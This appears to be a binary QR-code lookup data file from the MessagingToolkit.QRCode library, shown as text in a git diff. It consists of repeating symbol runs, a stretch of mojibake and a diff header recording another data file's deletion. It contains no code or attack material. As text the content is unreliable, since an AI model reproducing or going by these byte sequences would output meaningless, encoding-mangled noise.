VUVUVUVURQRQRQRQPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDCBABABABA>=>=>=>=<;<;<;<;:9:9:9:965656565212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%"!"!"!"!        VUVUVUVURQRQRQRQPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDCBABABABA>=>=>=>=<;<;<;<;:9:9:9:965656565212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%"!"!"!"!        VUVUVUVURQRQRQRQPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDCBABABABA>=>=>=>=<;<;<;<;:9:9:9:965656565212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%"!"!"!"!        VUVUVUVURQRQRQRQPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDCBABABABA>=>=>=>=<;<;<;<;:9:9:9:965656565212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%"!"!"!"!        VUVUVUVURQRQRQRQPOPOPOPOLKKKKKKLJIJIJIJIFEFEFEFEDCDCDCDCBABABABA>=>=>=>=<;<;<;<;:9:9:9:965656565212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%"!"!"!"!        VUVUVUVURQRQRQRQPOPOPOPOKLKLKLKLJIJIJIJIFEFEFEFEDCDCDCDCBABABABA>=>=>=>=<;<;<;<;:9:9:9:965656565212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"!        VUVUVUVURQRQRQRQPOPOPOPOKLKLKLKLJIJIJIJIFEFEFEFEDCDCDCDCBABABABA>=>=>=>=<;<;<;<;:9:9:9:965656565212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"!        VUVUVUVURQRQRQRQPOPOPOPOKLKLKLKLJIJIJIJIFEFEFEFEDCDCDCDCBABABABA>=>=>=>=<;<;<;<;:987878765656565212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"!      VUVUVUVURQRQRQRQPOPOPOPOKLKLKLKLJIJIJIJIFEFEFEFEDCDCDCDCBABABABA>=>=>=>=<;<;<;<;8787878765656565212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!    VUVUVUVURQRQRQRQPOPOPOPOKLKLKKKKJIJIJIJIFEFEFEFEDCDCDCDCBABABABA>=>=>=>=<;<;<;<;8787878765656565212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!    VUVUVUVURQRQRQRQPOPOPOPOKKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDCBA@?@?@?>=>=>=>=<;<;<;<;8787878765656565212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!    VUVUVUVURQRQRQRQPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=<;<;<;<;8787878765656565212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!    VUVUTSTSRQRQRQRQPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=<;<;<;<;8787878765656565212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!    TSTSTSTSRQRQRQRQPOPOPOPOLKLKLKLKJIHGHGHGFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=<;<;<;<;8787878765656565212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!    - TSTSTSTSRQRQRQRQPOPOPOPOLKLKLKLKHGHGHGHGFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=<;<;<;<;8787878765656565212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!    - - - - TSTSTSTSRQRQRQRQNMNMNMNMKKKKKLKLHGHGHGHGFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=<;<;<;<;8787878765434343212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!    - - - - TSTSTSTSRQRQRQRQNMNMNMNMKLKLKLKLHGHGHGHGFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=<;<;<;<;8787878743333334212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!    - - - - TSTSTSTSRQRQRQRQNMNMNMNMKLKLKLKLHGHGHGHGFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=<;<;<;<;8787878734343434212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!    - - - - TSTSTSTSRQRQRQRQNMNMNMNMKLKLKLKLHGHGHGHGFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=<;<;<;<;8787878734343434212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!    - - - - IIJJKKLL(''&&%%$~~}}UUVVWWXX ttssrrqqaabbccddYYXXWWVV^^__``aakkjjiihhjjkkllmm __^^]]\\vvwwxxyyBBCCDDEEbbaa``__ssttuuvvMMNNOOPP$##""!! ||{{zzyyYYZZ[[\\ - - ppoonnmmeeffgghhUUTTSSRR~}|bbccddeeggffeeddnnooppqq - - [[ZZYYXXzz{{||}}FFGGHHII - -^^]]\\[[wwxxyyzzQQRRSSTT!!""##xxwwvvuu]]^^__``llkkjjiiiijjkkllQQKKJJII{{zzyyxxffgghhiiccbbaa``rrssttuuWWVVUUTT~~JJKKQQRR ZZYYXXWW{{||}}~~UUVVWWXX$$%%&&''ttssrrqqaabbccddhhggffeemmnnoopp - - HHGGFFEEwwvvuuttjjkkllmm __^^]]\\vvwwxxyySSRRQQPPSSTTUUVVVVUUTTSSYYZZ[[\\(())**++ppoonnmmeeffgghhddccbbaaqqrrsstt DDCCBBAAssrrqqppnnooppqq - - [[ZZYYXXzz{{||}}OONNMMLLWWXXYYZZRRQQPPOO !!""]]^^__``,,--..//llkkjjiiiijjkkll``__^^]]uuvvwwxx@@??>>==oonnmmllrrssttuuWWVVUUTT~~KKJJIIHH[[\\]]^^NNMMLLKK##$$%%&&aabbccdd00112233 - -hhggffeemmnnoopp - - \\[[ZZYYyyzz{{||<<;;::99kkjjiihgvvwwxxyySSRRQQPP !!GGFFEEDD__``aabbJJIIHHGG''(())**~~}}eeffgghh99::;;<< ddccbbaaqqrrsstt XXWWVVUU}}~~33221100fedccbbazz{{||}}OONNMMLL""##$$%%CCBBAA@@cciijjkk !!""FFEEDDCC++,,--..||{{zzyyiijjkkll==>>??@@``__^^]]uuvvwwxxTTSSRRQQ //..--,,a``__^^]~~KKJJIIHH&&''(())??>>==<>==<<;;33445566ttssrrqqqqrrssttEEFFGGHH XXWWVVUU}}~~LLKKJJII%%&&''((''&&%%$$YXXWWVVU""##$$%%CCBBAA@@..//001177665544ttuuvvww++,,--..::998877778899::ppoonnmmuuvvwwxxIIJJKKQQTTSSRRQQ HHGGFFEE))**++,,##""!!UTTSSRRQ&&''(())??>>==<<2233445533221100xxyyzz{{//00112266554433;;<<==>>llkkjjiiyyzz{{||RRSSTTUUPPOONNMM!!""##$$DDCCBBAA--..//00QPONMLKK**++,,--;;::998866778899//..--,,33445566221100//??@@AABBhhggffee}}~~VVWWXXYYLLKKJJII%%&&''((@@??>>==11223344JJIIHHGG..//001177665544::;;<<==++**))((778899::..--,,++CCDDEEFFddccbbaaZZ[[\\]] HHGGFFEE))**++,,<<;;::9955667788FFEEDDCC2233445533221100>>??@@AA''&&%%$$;;<<==>>**))((''GGHHIIJJ``__^^]]^^__``aa!!""##$$DDCCBBAA--..//008877665599::;;<< BBAA@@??66778899//..--,,BBCCDDEE##""!! {{zz??@@AABB&&%%$$##KKLLMMNN\\[[ZZYYbbcciijj%%&&''((@@??>>==1122334444332211==>>??@@ - - >>==<<;;::;;<<==++**))((FFGGHHIIyyxxwwvvCCDDEEFF""!! OOPPQQRRXXWWVVUUkkllmmnn))**++,,<<;;::995566778800//..--AABBCCDD::998765>>??@@AA''&&%%$$JJKKLLMMuuttssrrGGHHIIJJSSTTUUVVTTSSRRQQooppqqrr--..//008877665599::;;<<,,++**))EEFFGGHH - -43322110BBCCDDEE##""!! NNOOPPQQqqppoonnKKLLMMNN~~}}||{{WWXXYYZZPPOONNMMssttuuvv1122334444332211==>>??@@((''&&%%IIJJKKLL 0//..--,FFGGHHIIRRSSTTUUmmllkkjjOOPPQQRRzzyyxxww[[\\]]^^LLKKJJIIwwxxyyzz5566778800//..--AABBCCDD$$##""!!MMNNOOPP,++**))(JJKKLLMM~~}}||VVWWXXYY iiccbbaaSSTTUUVVvvuuttss__``aabbHHGGFFEE{{99::;;<<,,++**))EEFFGGHH QQRRSSTT(''&&%%$NNOOPPQQ{{zzyyxxZZ[[\\]] - - ``__^^]]WWXXYYZZ rrqqppooccddeeffDDCCBBAA==>>??@@((''&&%%IIJJKKLL~~}}UUVVWWXX$##""!! RRSSTTUUwwvvuutt^^__``aa\\[[ZZYY[[\\]]^^ - - nnmmllkkgghhiijj@@??>>==AABBCCDD$$##""!!MMNNOOPP||{{zzyyYYZZ[[\\!!""##~~}}||VVWWXXYY ssrrqqppbbccddeeXXWWVVUU__``aabbjjiihhggkkllmmnn<<;;::99EEFFGGHH QQRRSSTTxxwwvvuu]]^^__``$$%%&&''{{zzyyxxZZ[[\\]] - - oonnmmllffgghhiiTTSSRRQQ~}|{{ccddeeffffeeddccooppqqrr88776655IIJJKKLL~~}}UUVVWWXX ttssrrqqaabbccdd(())**++wwvvuutt^^__``aakkjjiihhjjkkllmm KKJJIIHHzzyyxxwwgghhiijjbbaa``__ssttuuvv44332211{{MMNNOOPP||{{zzyyYYZZ[[\\ - - ppoonnmmeeffgghh,,--..//ssrrqqppbbccddeeggffeeddnnooppqq - - GGFFEEDDvvuuttsskkllmmnn - -^^]]\\[[wwxxyyzz00//..--zzyyxxwwQQRRSSTTxxwwvvuu]]^^__``llkkjjiiiijjkkll00112233 - -oonnmmllffgghhiiccbbaa``rrssttuuCCBBAA@@rrqqppooooppqqrr ZZYYXXWW{{||}}~~,,++**))vvuuttssUUVVWWXX ttssrrqqaabbccddhhggffeemmnnoopp99::;;<< kkjjiihhjjkkllmm __^^]]\\vvwwxxyy??>>==<>??@@ggffeeddnnooppqq - - [[ZZYYXXzz{{||}};;::9933jjiihgfewwxxyyzzRRQQPPOO$$##""!!nnmmllkk]]^^__``llkkjjiiiijjkkll``__^^]]uuvvwwxxAABBCCDDccbbaa``rrssttuuWWVVUUTT~~221100//dccbbaa`{{||}}~~NNMMLLKK jjiiccbbaabbccddhhggffeemmnnoopp - - \\[[ZZYYyyzz{{||EEFFGGHH __^^]]\\vvwwxxyySSRRQQPP !!..--,,++`__^^]]\JJIIHHGGaa``__^^eeffgghhddccbbaaqqrrsstt XXWWVVUU}}~~IIJJKKQQ - - [[ZZYYXXzz{{||}}OONNMMLL""##$$%%**))((''\[[ZZYYX !!""FFEEDDCC]]\\[[ZZ~}|iijjkkll``__^^]]uuvvwwxxTTSSRRQQRRSSTTUUWWVVUUTT~~KKJJIIHH&&''(())&&%%$$##XWWVVUUT##$$%%&&BBAA@@??YYXXWWVV{{zzyyxxmmnnoopp - - \\[[ZZYYyyzz{{||PPOONNMMVVWWXXYYSSRRQQPP !!GGFFEEDD**++,,--""!!TSSRRQQP''(())**>>==<<;; UUTTSSRRwwvvuuttqqrrsstt XXWWVVUU}}~~LLKKJJIIZZ[[\\]]OONNMMLL""##$$%%CCBBAA@@..//0011ONMLKKJJ++,,--..::998877 - - QQKKJJIIssrrqqppuuvvwwxxTTSSRRQQ HHGGFFEE^^__``aaKKJJIIHH&&''(())??>>==<<22334455IIHHGGFF//00112266554433 - - HHGGFFEEoonnmmllyyzz{{||PPOONNMM!!""##$$DDCCBBAAbbcciijj !!GGFFEEDD**++,,--;;::998866778899EEDDCCBB33445566221100// DDCCBBAAkkjjiihg}}~~LLKKJJII%%&&''((@@??>>==kkllmmnn""##$$%%CCBBAA@@..//001177665544::;;<<== - -AA@@??>>778899::..--,,++@@??>>==fedccbba HHGGFFEE))**++,,<<;;::99ooppqqrr&&''(())??>>==<<2233445533221100>>??@@AA ==<<;;::;;<<==>>**))((''VVUUTTSS<<;;::99a``__^^]!!""##$$DDCCBBAA--..//0088776655ssttuuvv**++,,--;;::998866778899//..--,,BBCCDDEE99876543??@@AABB&&%%$$##RRQQPPOO33221100]\\[[ZZY%%&&''((@@??>>==1122334444332211wwxxyyzz..//001177665544::;;<<==++**))((FFGGHHII - - 3221100/CCDDEEFF""!! NNMMLLKK //..--,,YXXWWVVU))**++,,<<;;::995566778800//..--{{2233445533221100>>??@@AA''&&%%$$JJKKLLMM /..--,,+GGHHIIJJJJIIHHGG!!""##$$++**))((UTTSSRRQ--..//008877665599::;;<<,,++**))66778899//..--,,BBCCDDEE##""!! NNOOPPQQ+**))(('KKLLMMNN~~}}||{{FFEEDDCC%%&&''((''&&%%$$QPONMLKK1122334444332211==>>??@@((''&&%%::;;<<==++**))((FFGGHHIIRRSSTTUU'&&%%$$#OOPPQQRRzzyyxxwwBBAA@@??))**++,,##""!!JJIIHHGG5566778800//..--AABBCCDD$$##""!!{{>>??@@AA''&&%%$$JJKKLLMM~~}}||VVWWXXYY#""!! SSTTUUVVvvuuttss>>==<<;;--..//00FFEEDDCC99::;;<<,,++**))EEFFGGHH zzyyxxwwBBCCDDEE##""!! NNOOPPQQ{{zzyyxxZZ[[\\]]!!""##$$~~}}||{{WWXXYYZZ rrqqppoo::99887711223344BBAA@@??==>>??@@((''&&%%IIJJKKLLvvuuttssFFGGHHIIRRSSTTUUwwvvuutt^^__``aa%%&&''((zzyyxxww[[\\]]^^ - - nnmmllkk6655443355667788>>==<<;;AABBCCDD$$##""!!MMNNOOPPrrqqppooJJKKLLMM~~}}||VVWWXXYY ssrrqqppbbccddee))**++,,vvuuttss__``aabbjjiihhgg221100//99::;;<< ::998765EEFFGGHH QQRRSSTTnnmmllkkNNOOPPQQ{{zzyyxxZZ[[\\]] - - oonnmmllffgghhii--..//00 rrqqppooccddeeffffeeddcc..--,,++==>>??@@ - - - -43322110IIJJKKLL~~}}UUVVWWXX jjiiccbbRRSSTTUUwwvvuutt^^__``aakkjjiihhjjkkllmm11223399 - - nnmmllkkgghhiijjbbaa``__**))((''AABBCCDD 0//..--,MMNNOOPP||{{zzyyYYZZ[[\\ - - aa``__^^VVWWXXYY ssrrqqppbbccddeeggffeeddnnooppqq::;;<<==jjiihhggkkllmmnn - -^^]]\\[[&&%%$$##EEFFGGHH,++**))(QQRRSSTTxxwwvvuu]]^^__``]]\\[[ZZZZ[[\\]] - - oonnmmllffgghhiiccbbaa``rrssttuu>>??@@AAffeeddccooppqqrr ZZYYXXWW""!! SSTTUUVV&%%$$##"PPQQRRSSyyxxwwvv\\]]^^__ ^^]]\\[[YYZZ[[\\ - - ppoonnmmeeffgghhddccbbaaqqrrsstt==>>??@@ggffeeddnnooppqq - - [[ZZYYXXzz{{||}}33221100SSRRQQPP~~}}||{{WWXXYYZZ!!"!! ~~TTUUVVWWuuttssrr``aabbccZZYYXXWW]]^^__``llkkjjiiiijjkkll``__^^]]uuvvwwxxAABBCCDDccbbaa``rrssttuuWWVVUUTT~~//..--,,OONNMMLLzzyyxxww[[\\]]^^""##$$%%}}||{{zzXXYYZZ[[ - -qqppoonnddeeffggVVUUTTSS~aabbccddhhggffeemmnnoopp - - \\[[ZZYYyyzz{{||EEFFGGHH __^^]]\\vvwwxxyySSRRQQPP !!++**))((KKJJIIHHvvuuttss__``aabb&&''(())yyxxwwvv\\]]^^__ mmllkkjjhhiijjkkRRQQKKJJ}|{{zzyyeeffgghhddccbbaaqqrrsstt XXWWVVUU}}~~IIJJKKQQ - - [[ZZYYXXzz{{||}}OONNMMLL""##$$%%''&&%%$$GGFFEEDD rrqqppooccddeeff**++,,--uuttssrr``aabbcciihhggffllmmnnoo - - IIHHGGFFxxwwvvuuiijjkkll``__^^]]uuvvwwxxTTSSRRQQRRSSTTUUWWVVUUTT~~KKJJIIHH&&''(())##""!!CCBBAA@@ - - nnmmllkkgghhiijj..//0011 qqppoonnddeeffggeeddccbbppqqrrss EEDDCCBBttssrrqqmmnnoopp - - \\[[ZZYYyyzz{{||PPOONNMMVVWWXXYYSSRRQQPP !!GGFFEEDD**++,,--??>>==<<jjiihhggkkllmmnn223399:: - - mmllkkjjhhiijjkkaa``__^^ttuuvvwwAA@@??>>ppoonnmmqqrrsstt XXWWVVUU}}~~LLKKJJIIZZ[[\\]]OONNMMLL""##$$%%CCBBAA@@..//0011;;::9988ffeeddccooppqqrr;;<<==>>iihhggffllmmnnoo - - ]]\\[[ZZxxyyzz{{==<<;;::llkkjjiiuuvvwwxxTTSSRRQQ HHGGFFEE^^__``aaKKJJIIHH&&''(())??>>==<<2233445577665544bbaa``__ssttuuvv??@@AABBeeddccbbppqqrrss YYXXWWVV||}}~~99332211hgfedccbyyzz{{||PPOONNMM!!""##$$DDCCBBAAbbcciijj !!GGFFEEDD**++,,--;;::998866778899 33221100 - -^^]]\\[[wwxxyyzzCCDDEEFFaa``__^^ttuuvvwwUUTTSSRR00//..--baa``__^}}~~LLKKJJII%%&&''((@@??>>==kkllmmnn""##$$%%CCBBAA@@..//001177665544::;;<<== - - - -//..--,, ZZYYXXWW{{||}}~~GGHHIIJJ - - ]]\\[[ZZxxyyzz{{QQPPOONN !!""##,,++**))^]]\\[[Z HHGGFFEE))**++,,<<;;::99ooppqqrr&&''(())??>>==<<2233445533221100>>??@@AA ++**))((VVUUTTSSKKQQRRSS YYXXWWVV||}}~~MMLLKKJJ$$%%&&''((''&&%%ZYYXXWWV!!""##$$DDCCBBAA--..//0088776655ssttuuvv**++,,--;;::998866778899//..--,,BBCCDDEE''&&%%$$RRQQPPOOTTUUVVWWUUTTSSRRIIHHGGFF(())**++$$##""!!VUUTTSSR%%&&''((@@??>>==1122334444332211wwxxyyzz..//001177665544::;;<<==++**))((FFGGHHII##""!! NNMMLLKKXXYYZZ[[QQPPOONN !!""##EEDDCCBB,,--..//RQQPONML))**++,,<<;;::995566778800//..--{{2233445533221100>>??@@AA''&&%%$$JJKKLLMMJJIIHHGG\\]]^^__MMLLKKJJ$$%%&&''AA@@??>>00112233KKJJIIHH--..//008877665599::;;<<,,++**))66778899//..--,,BBCCDDEE##""!! NNOOPPQQ!!""## !!""FFEEDDCC``aabbccIIHHGGFF(())**++==<<;;::44556677GGFFEEDD1122334444332211==>>??@@((''&&%%::;;<<==++**))((FFGGHHIIRRSSTTUU$$%%&&''##$$%%&&BBAA@@??iijjkkll !!""##EEDDCCBB,,--..//998877668899::;; CCBBAA@@5566778800//..--AABBCCDD$$##""!!{{>>??@@AA''&&%%$$JJKKLLMM~~}}||VVWWXXYY(())**++''(())**>>==<<;;mmnnoopp$$%%&&''AA@@??>>0011223355443322<<==>>?? - - ??>>==<<99::;;<<,,++**))EEFFGGHH zzyyxxwwBBCCDDEE##""!! NNOOPPQQ{{zzyyxxZZ[[\\]],,--..// ++,,--..::998877qqrrsstt(())**++==<<;;::445566771100//..@@AABBCC;;::9987==>>??@@((''&&%%IIJJKKLLvvuuttssFFGGHHIIRRSSTTUUwwvvuutt^^__``aa00112233 - - //00112266554433uuvvwwxx,,--..//998877668899::;;--,,++**DDEEFFGG 65433221AABBCCDD$$##""!!MMNNOOPPrrqqppooJJKKLLMM~~}}||VVWWXXYY ssrrqqppbbccddee99::;;<< - - 33445566221100//yyzz{{0011223355443322<<==>>??))((''&&HHIIJJKK - - 100//..-EEFFGGHH QQRRSSTTnnmmllkkNNOOPPQQ{{zzyyxxZZ[[\\]] - - oonnmmllffgghhii==>>??@@778899::..--,,++445566771100//..@@AABBCC%%$$##""LLMMNNOO-,,++**)IIJJKKLL~~}}UUVVWWXX jjiiccbbRRSSTTUUwwvvuutt^^__``aakkjjiihhjjkkllmmAABBCCDD;;<<==>>**))((''8899::;;--,,++**DDEEFFGG!! PPQQRRSS)((''&&%MMNNOOPP||{{zzyyYYZZ[[\\ - - aa``__^^VVWWXXYY ssrrqqppbbccddeeggffeeddnnooppqqEEFFGGHH??@@AABB&&%%$$##<<==>>??))((''&&HHIIJJKK~~TTUUVVWW%$$##""!QQRRSSTTxxwwvvuu]]^^__``]]\\[[ZZZZ[[\\]] - - oonnmmllffgghhiiccbbaa``rrssttuuIIJJKKQQCCDDEEFF""!! {{zzyy@@AABBCC%%$$##""LLMMNNOO}}||{{zzXXYYZZ[[!!""! ~~}}UUVVWWXX ttssrrqqaabbccddYYXXWWVV^^__``aakkjjiihhjjkkllmm __^^]]\\vvwwxxyyRRSSTTUU !!GGHHIIJJxxwwvvuuDDEEFFGG!! PPQQRRSSyyxxwwvv\\]]^^__##$$%%&&||{{zzyyYYZZ[[\\ - - ppoonnmmeeffgghhUUTTSSRR~}|bbccddeeggffeeddnnooppqq - - [[ZZYYXXzz{{||}}VVWWXXYY""##$$%%KKLLMMNNttssrrqqHHIIJJKK~~TTUUVVWWuuttssrr``aabbcc''(())**xxwwvvuu]]^^__``llkkjjiiiijjkkllQQKKJJII{{zzyyxxffgghhiiccbbaa``rrssttuuWWVVUUTT~~ZZ[[\\]]&&''(())OOPPQQRRppoonnmmLLMMNNOO}}||{{zzXXYYZZ[[ - -qqppoonnddeeffgg++,,--..ttssrrqqaabbccddhhggffeemmnnoopp - - HHGGFFEEwwvvuuttjjkkllmm __^^]]\\vvwwxxyySSRRQQPP^^__``aa**++,,--SSTTUUVVllkkjjiiPPQQRRSSyyxxwwvv\\]]^^__ mmllkkjjhhiijjkk//001122 ppoonnmmeeffgghhddccbbaaqqrrsstt DDCCBBAAssrrqqppnnooppqq - - [[ZZYYXXzz{{||}}OONNMMLLbbcciijj..//0011WWXXYYZZ ccbbaa``TTUUVVWWuuttssrr``aabbcciihhggffllmmnnoo3399::;; - - llkkjjiiiijjkkll``__^^]]uuvvwwxx@@??>>==oonnmmllrrssttuuWWVVUUTT~~KKJJIIHHkkllmmnn22334455[[\\]]^^ - - __^^]]\\XXYYZZ[[ - -qqppoonnddeeffggeeddccbbppqqrrss<<==>>??hhggffeemmnnoopp - - \\[[ZZYYyyzz{{||<<;;::99kkjjiihgvvwwxxyySSRRQQPP !!GGFFEEDDooppqqrr66778899__``aabb[[ZZYYXX\\]]^^__ mmllkkjjhhiijjkkaa``__^^ttuuvvww@@AABBCCddccbbaaqqrrsstt XXWWVVUU}}~~33221100fedccbbazz{{||}}OONNMMLL""##$$%%CCBBAA@@ssttuuvv::;;<<==ccddeeffWWVVUUTT``aabbcciihhggffllmmnnoo - - ]]\\[[ZZxxyyzz{{DDEEFFGG``__^^]]uuvvwwxxTTSSRRQQ //..--,,a``__^^]~~KKJJIIHH&&''(())??>>==<>??@@AAgghhiijjSSRRQQKK~}|{{zzddeeffggeeddccbbppqqrrss YYXXWWVV||}}~~HHIIJJKK - - \\[[ZZYYyyzz{{||PPOONNMM!!""##$$++**))((]\\[[ZZY !!GGFFEEDD**++,,--;;::9988{{BBCCDDEEkkllmmnn - -JJIIHHGGyyxxwwvvhhiijjkkaa``__^^ttuuvvwwUUTTSSRRQQRRSSTT XXWWVVUU}}~~LLKKJJII%%&&''((''&&%%$$YXXWWVVU""##$$%%CCBBAA@@..//001177665544FFGGHHIIooppqqrr FFEEDDCCuuttssrrllmmnnoo - - ]]\\[[ZZxxyyzz{{QQPPOONNUUVVWWXXTTSSRRQQ HHGGFFEE))**++,,##""!!UTTSSRRQ&&''(())??>>==<<2233445533221100JJKKLLMMssttuuvvBBAA@@??qqppoonnppqqrrss YYXXWWVV||}}~~MMLLKKJJYYZZ[[\\PPOONNMM!!""##$$DDCCBBAA--..//00QPONMLKK**++,,--;;::998866778899//..--,,NNOOPPQQwwxxyyzz>>==<<;;mmllkkjjttuuvvwwUUTTSSRRIIHHGGFF]]^^__``LLKKJJII%%&&''((@@??>>==11223344JJIIHHGG..//001177665544::;;<<==++**))((RRSSTTUU{{||}}~~::993322iihgfedcxxyyzz{{QQPPOONN !!""##EEDDCCBBaabbccii HHGGFFEE))**++,,<<;;::9955667788FFEEDDCC2233445533221100>>??@@AA''&&%%$${{VVWWXXYY1100//..cbbaa``_||}}~~MMLLKKJJ$$%%&&''AA@@??>>jjkkllmm!!""##$$DDCCBBAA--..//008877665599::;;<< BBAA@@??66778899//..--,,BBCCDDEE##""!! zzyyxxwwZZ[[\\]] !!""--,,++**_^^]]\\[IIHHGGFF(())**++==<<;;::nnooppqq%%&&''((@@??>>==1122334444332211==>>??@@ - - >>==<<;;::;;<<==++**))((FFGGHHIIvvuuttss^^__``aa##$$%%&&))((''&&[ZZYYXXW !!""##EEDDCCBB,,--..//99887766rrssttuu))**++,,<<;;::995566778800//..--AABBCCDD::998765>>??@@AA''&&%%$$JJKKLLMMrrqqppoobbccddee''(())**%%$$##""WVVUUTTS$$%%&&''AA@@??>>0011223355443322vvwwxxyy--..//008877665599::;;<<,,++**))EEFFGGHH - -43322110BBCCDDEE##""!! NNOOPPQQnnmmllkk~~}}||ffgghhii++,,--..!!SRRQQPON(())**++==<<;;::445566771100//..zz{{1122334444332211==>>??@@((''&&%%IIJJKKLL 0//..--,FFGGHHIIRRSSTTUUjjiiccbb{{zzyyxxjjkkllmm//001122MLKKJJII,,--..//998877668899::;;--,,++**5566778800//..--AABBCCDD$$##""!!MMNNOOPP,++**))(JJKKLLMM~~}}||VVWWXXYY aa``__^^wwvvuuttnnooppqq33445566HHGGFFEE0011223355443322<<==>>??))((''&&99::;;<<,,++**))EEFFGGHH QQRRSSTT(''&&%%$NNOOPPQQ{{zzyyxxZZ[[\\]] - - ]]\\[[ZZssrrqqpprrssttuu778899:: DDCCBBAA445566771100//..@@AABBCC%%$$##""==>>??@@((''&&%%IIJJKKLL~~}}UUVVWWXX$##""!! RRSSTTUUwwvvuutt^^__``aaYYXXWWVVoonnmmllvvwwxxyy;;<<==>> - - @@??>>==8899::;;--,,++**DDEEFFGG!! {{zzyyxxAABBCCDD$$##""!!MMNNOOPP||{{zzyyYYZZ[[\\!!""##~~}}||VVWWXXYY ssrrqqppbbccddeeUUTTSSRRkkjjiihhzz{{||}}??@@AABB<<;;::99<<==>>??))((''&&HHIIJJKKwwvvuuttEEFFGGHH QQRRSSTTxxwwvvuu]]^^__``$$%%&&''{{zzyyxxZZ[[\\]] - - oonnmmllffgghhiiQQKKJJI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tAr˂p|ZdQbf~HbdQZ|`vXnd|Zfpvltb~f`˂pZpvnbHAZpdQZ|pZHAbH~ㅐfbAdZ|rbdQf`vے`JXQf~HZp˂fH~XQr˂HfpvےbHAtbdQZr˂pd|ZXQJ`ےJltZHAbtlJfpvdrtAvpfdQbtnXv`fdQZ|vXnHAbےXv`f˂rXQdtAJlے`J`vXndrQtZ|dXnvr˂pfpvrbdQZf`vXpZHAbnXvZp˂|dr`JXQrdQbt璐bHAZbdQZ|ے`JXQtArdnXv`JltH~fl|ZdQ~fpvdrtAJvpfH`JXQr~HfJ`ےtbnXQr˂vˍpfJltrtAJlpfH~`JXQrnXv`|drnvpے`J`f~rXQJ`tAJl璀˂pZl|ZdQp˂rdrtAr˂p|ZdQbf~HbdQZ|`vXnbtlnXvltb~f`˂pZpvnbHAZpvpfp`JXQH~ㅐfbAdZ|tbdQf`vbtlf~fptAJlfH~XQr˂HfpvےbHAtbdQZHAbےbnXvXQJ`ےJltZHAbtlJfpvdrtAvpfJtArd`f~dQZ|vXnHAے`Xv`f˂rXQHf`r˂p`vXndrQtZ|dXnv|ZdQbvnXtbdQZf`vXpZHAbnXvZp˂|dr`JXQr`f~fpbHAZbdQZ|ے`JXQtArdnXv`JltH~f|ZdQHfpvdrtAJvpfHJXQrb~HfJ`ےvXnZHAbvˍpfJltrtAJlpfH~tlJv`f|drnvpے`J`f~rXQJ`tAJl璀˂p`vnXp˂rdrtAr˂p|ZdQbfHfbdQZ|`vXnbtlnXvltb~f`tlJpvnbHAZpvpfHے`JXQH~ㅐfbAdZ|tbdQf`vtArd~HfptAJlfH~XQr˂HfpvےbHAtbdQZJXQrv`fXQJ`ےJltZHAbtlJpvndrtAvpf|ZdQb`ffpdQZ|vXntAd|Xv`f˂rXQ~f`r˂p`vXndrQt66666666666666666666666666666666666666677777777777777 \ No newline at end of file diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv36_0.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv36_0.dat deleted file mode 100644 index dfa74a8..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv36_0.dat +++ /dev/null @@ -1,321 +0,0 @@ 